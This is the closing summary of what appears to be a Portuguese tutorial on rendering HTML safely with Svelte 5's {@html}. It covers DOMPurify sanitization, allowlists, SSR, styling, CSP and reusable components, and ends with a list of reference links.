Nunca confie na entrada do usuário - sempre sanitize HTML de qualquer fonte externa usando bibliotecas testadas como DOMPurify, e não soluções personalizadas baseadas em regex
A sanitização deve usar listas de permissões (permitir explicitamente tags/atributos seguros) em vez de listas de bloqueio (bloquear padrões perigosos conhecidos) para segurança efetiva
Os estilos do componente não se aplicam ao conteúdo de @html - o escopo do Svelte afeta apenas os componentes compilados, exigindo o uso de :global() ou folhas de estilo externas para estilizar o conteúdo HTML
SSR requer sanitização isomórfica - use isomorphic-dompurify para garantir comportamento de sanitização consistente entre a renderização no servidor e no cliente
A configuração do DOMPurify é personalizável com hooks para validação de URL, filtragem de atributos e tratamento de tags personalizadas por meio de ALLOWED_TAGS, ALLOWED_ATTR e funções de hook
A Política de Segurança de Conteúdo adiciona defesa em profundidade - cabeçalhos CSP impedem a execução de scripts inline mesmo que a sanitização falhe, fornecendo uma camada de segurança adicional
Componentes reutilizáveis centralizam a segurança - crie componentes dedicados como <SanitizedHTML> ou <MarkdownRenderer> para aplicar sanitização consistente em toda a sua base de código

Veja Também

Documentação Oficial do Svelte 5 - {@html}
Biblioteca DOMPurify - Sanitização HTML padrão da indústria
Guia de Prevenção de XSS da OWASP
Política de Segurança de Conteúdo (CSP) - Mecanismo de segurança do navegador
Marked.js - Biblioteca de conversão de Markdown para HTML
Highlight.js - Realce de sintaxe para blocos de código
MDN - Riscos de Segurança do innerHTML
isomorphic-dompurify - DOMPurify universal para SSR